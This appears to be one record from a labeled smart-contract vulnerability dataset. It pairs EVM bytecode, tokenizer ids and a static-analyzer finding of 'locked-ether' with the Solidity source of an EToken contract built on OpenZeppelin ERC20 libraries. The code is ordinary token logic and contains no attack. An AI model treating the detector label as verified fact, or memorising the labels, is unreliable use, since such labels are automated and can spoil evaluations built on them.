87803b15801561131657600080fd5b505af115801561132a573d6000803e3d6000fd5b505050506040513d602081101561134057600080fd5b8101908080519060200190929190505050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561143b57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561149057600080fd5b818303905092915050565b600081830190508281101515156114b157600080fd5b929150505600a165627a7a72305820c1ae68871f82c35696e035fb8ae0ee429aac1e6ed4fe9426585cfd63b6e1a2640029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 17465, 26337, 26337, 2546, 18139, 2683, 2063, 2620, 16576, 2497, 19961, 28311, 2581, 2497, 16703, 2509, 2278, 2546, 2575, 2581, 4402, 4402, 17465, 2497, 2620, 20958, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 1005, 4800, 10288, 1005, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,055
0x96222E92775dc072762e787bef53c1220d0b9876
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.1; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "./interfaces/IEToken.sol"; import "./utils/ControllerMixin.sol"; contract EToken is ControllerMixin, ERC20, IEToken { using SafeERC20 for IERC20; address immutable public ePool; event RecoveredToken(address token, uint256 amount); modifier onlyEPool { require(msg.sender == ePool, "EToken: not EPool"); _; } constructor( IController _controller, string memory name, string memory symbol, address _ePool ) ControllerMixin(_controller) ERC20(name, symbol) { ePool = _ePool; } /** * @notice Returns the address of the current Aggregator which provides the exchange rate between TokenA and TokenB * @return Address of aggregator */ function getController() external view override returns (address) { return address(controller); } /** * @notice Updates the Controller * @dev Can only called by an authorized sender * @param _controller Address of the new Controller * @return True on success */ function setController(address _controller) external override onlyDao("EToken: not dao") returns (bool) { _setController(_controller); return true; } /** * @notice Mints new EToken * @dev Can only be called by the registered EPool * @param account Address of recipient * @param amount Amount to mint * @return True on Success */ function mint(address account, uint256 amount) external override onlyEPool returns (bool) { _mint(account, amount); return true; } /** * @notice Burns EToken * @dev Can only be called by the registered EPool * @param account Address of accounts to burn EToken from * @param amount Amount to burn * @return True on Success */ function burn(address account, uint256 amount) external override onlyEPool returns (bool) { _burn(account, amount); return true; } /** * @notice Recovers untracked amounts * @dev Can only called by an authorized sender * @param token Address of the token * @param amount Amount to recover * @return True on success */ function recover(IERC20 token, uint256 amount) external override onlyDao("EToken: not dao") returns (bool) { token.safeTransfer(msg.sender, amount); emit RecoveredToken(address(token), amount); return true; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC20.sol"; import "../../utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overloaded; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.1; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IEToken is IERC20 { function getController() external view returns (address); function setController(address _controller) external returns (bool); function mint(address account, uint256 amount) external returns (bool); function burn(address account, uint256 amount) external returns (bool); function recover(IERC20 token, uint256 amount) external returns (bool); } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.1; import "../interfaces/IController.sol"; contract ControllerMixin { event SetController(address controller); IController internal controller; constructor(IController _controller) { controller = _controller; } modifier onlyDao(string memory revertMsg) { require(msg.sender == controller.dao(), revertMsg); _; } modifier onlyDaoOrGuardian(string memory revertMsg) { require(controller.isDaoOrGuardian(msg.sender), revertMsg); _; } modifier issuanceNotPaused(string memory revertMsg) { require(controller.pausedIssuance() == false, revertMsg); _; } function _setController(address _controller) internal { controller = IController(_controller); emit SetController(_controller); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.1; pragma experimental ABIEncoderV2; interface IController { function dao() external view returns (address); function guardian() external view returns (address); function isDaoOrGuardian(address sender) external view returns (bool); function setDao(address _dao) external returns (bool); function setGuardian(address _guardian) external returns (bool); function feesOwner() external view returns (address); function pausedIssuance() external view returns (bool); function setFeesOwner(address _feesOwner) external returns (bool); function setPausedIssuance(bool _pausedIssuance) external returns (bool); }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806340c10f19116100a257806395d89b411161007157806395d89b41146102075780639dc29fac1461020f578063a457c2d714610222578063a9059cbb14610235578063dd62ed3e146102485761010b565b806340c10f19146101bb5780635705ae43146101ce57806370a08231146101e157806392eefe9b146101f45761010b565b806327b66240116100de57806327b66240146101765780633018205f1461018b578063313ce5671461019357806339509351146101a85761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461014e57806323b872dd14610163575b600080fd5b61011861025b565b6040516101259190610f1f565b60405180910390f35b61014161013c366004610e80565b6102ed565b6040516101259190610f14565b61015661030a565b60405161012591906112df565b610141610171366004610e40565b610310565b61017e6103b2565b6040516101259190610ee7565b61017e6103d6565b61019b6103e5565b60405161012591906112e8565b6101416101b6366004610e80565b6103ea565b6101416101c9366004610e80565b610439565b6101416101dc366004610e80565b61048d565b6101566101ef366004610dd0565b6105c6565b610141610202366004610dd0565b6105e1565b6101186106d7565b61014161021d366004610e80565b6106e6565b610141610230366004610e80565b61073a565b610141610243366004610e80565b6107b5565b610156610256366004610e08565b6107c9565b60606004805461026a90611355565b80601f016020809104026020016040519081016040528092919081815260200182805461029690611355565b80156102e35780601f106102b8576101008083540402835291602001916102e3565b820191906000526020600020905b8154815290600101906020018083116102c657829003601f168201915b5050505050905090565b60006103016102fa6107f4565b84846107f8565b50600192915050565b60035490565b600061031d8484846108ac565b6001600160a01b03841660009081526002602052604081208161033e6107f4565b6001600160a01b03166001600160a01b031681526020019081526020016000205490508281101561038a5760405162461bcd60e51b8152600401610381906110d0565b60405180910390fd5b6103a5856103966107f4565b6103a0868561130e565b6107f8565b60019150505b9392505050565b7f000000000000000000000000d8124bbb4bf94c5d2850011b64bea9a47266a76881565b6000546001600160a01b031690565b601290565b60006103016103f76107f4565b8484600260006104056107f4565b6001600160a01b03908116825260208083019390935260409182016000908120918b16815292529020546103a091906112f6565b6000336001600160a01b037f000000000000000000000000d8124bbb4bf94c5d2850011b64bea9a47266a76816146104835760405162461bcd60e51b8152600401610381906110a5565b61030183836109d4565b60006040518060400160405280600f81526020016e45546f6b656e3a206e6f742064616f60881b81525060008054906101000a90046001600160a01b03166001600160a01b0316634162169f6040518163ffffffff1660e01b815260040160206040518083038186803b15801561050357600080fd5b505afa158015610517573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061053b9190610dec565b6001600160a01b0316336001600160a01b031614819061056e5760405162461bcd60e51b81526004016103819190610f1f565b506105836001600160a01b0385163385610a94565b7f6de8b63479ce07cf2dfc515e20a5c88a3a5bab6cbd76f753388b77e244ca707184846040516105b4929190610efb565b60405180910390a15060019392505050565b6001600160a01b031660009081526001602052604090205490565b60006040518060400160405280600f81526020016e45546f6b656e3a206e6f742064616f60881b81525060008054906101000a90046001600160a01b03166001600160a01b0316634162169f6040518163ffffffff1660e01b815260040160206040518083038186803b15801561065757600080fd5b505afa15801561066b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068f9190610dec565b6001600160a01b0316336001600160a01b03161481906106c25760405162461bcd60e51b81526004016103819190610f1f565b506106cc83610aef565b600191505b50919050565b60606005805461026a90611355565b6000336001600160a01b037f000000000000000000000000d8124bbb4bf94c5d2850011b64bea9a47266a76816146107305760405162461bcd60e51b8152600401610381906110a5565b6103018383610b45565b600080600260006107496107f4565b6001600160a01b03908116825260208083019390935260409182016000908120918816815292529020549050828110156107955760405162461bcd60e51b815260040161038190611263565b6107ab6107a06107f4565b856103a0868561130e565b5060019392505050565b60006103016107c26107f4565b84846108ac565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3390565b6001600160a01b03831661081e5760405162461bcd60e51b81526004016103819061119e565b6001600160a01b0382166108445760405162461bcd60e51b815260040161038190610fd7565b6001600160a01b0380841660008181526002602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061089f9085906112df565b60405180910390a3505050565b6001600160a01b0383166108d25760405162461bcd60e51b815260040161038190611159565b6001600160a01b0382166108f85760405162461bcd60e51b815260040161038190610f52565b610903838383610aea565b6001600160a01b0383166000908152600160205260409020548181101561093c5760405162461bcd60e51b815260040161038190611019565b610946828261130e565b6001600160a01b03808616600090815260016020526040808220939093559085168152908120805484929061097c9084906112f6565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516109c691906112df565b60405180910390a350505050565b6001600160a01b0382166109fa5760405162461bcd60e51b8152600401610381906112a8565b610a0660008383610aea565b8060036000828254610a1891906112f6565b90915550506001600160a01b03821660009081526001602052604081208054839290610a459084906112f6565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a889085906112df565b60405180910390a35050565b610aea8363a9059cbb60e01b8484604051602401610ab3929190610efb565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152610c2b565b505050565b600080546001600160a01b0319166001600160a01b0383161790556040517f4ff638452bbf33c012645d18ae6f05515ff5f2d1dfb0cece8cbf018c60903f7090610b3a908390610ee7565b60405180910390a150565b6001600160a01b038216610b6b5760405162461bcd60e51b815260040161038190611118565b610b7782600083610aea565b6001600160a01b03821660009081526001602052604090205481811015610bb05760405162461bcd60e51b815260040161038190610f95565b610bba828261130e565b6001600160a01b03841660009081526001602052604081209190915560038054849290610be890849061130e565b90915550506040516000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061089f9086906112df565b6000610c80826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316610cba9092919063ffffffff16565b805190915015610aea5780806020019051810190610c9e9190610eab565b610aea5760405162461bcd60e51b815260040161038190611219565b6060610cc98484600085610cd1565b949350505050565b606082471015610cf35760405162461bcd60e51b81526004016103819061105f565b610cfc85610d91565b610d185760405162461bcd60e51b8152600401610381906111e2565b600080866001600160a01b03168587604051610d349190610ecb565b60006040518083038185875af1925050503d8060008114610d71576040519150601f19603f3d011682016040523d82523d6000602084013e610d76565b606091505b5091509150610d86828286610d97565b979650505050505050565b3b151590565b60608315610da65750816103ab565b825115610db65782518084602001fd5b8160405162461bcd60e51b81526004016103819190610f1f565b600060208284031215610de1578081fd5b81356103ab816113a0565b600060208284031215610dfd578081fd5b81516103ab816113a0565b60008060408385031215610e1a578081fd5b8235610e25816113a0565b91506020830135610e35816113a0565b809150509250929050565b600080600060608486031215610e54578081fd5b8335610e5f816113a0565b92506020840135610e6f816113a0565b929592945050506040919091013590565b60008060408385031215610e92578182fd5b8235610e9d816113a0565b946020939093013593505050565b600060208284031215610ebc578081fd5b815180151581146103ab578182fd5b60008251610edd818460208701611325565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b901515815260200190565b6000602082528251806020840152610f3e816040850160208701611325565b601f01601f19169190910160400192915050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604082015261636560f01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526026908201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6040820152651c8818d85b1b60d21b606082015260800190565b60208082526011908201527011551bdad95b8e881b9bdd0811541bdbdb607a1b604082015260600190565b60208082526028908201527f45524332303a207472616e736665722061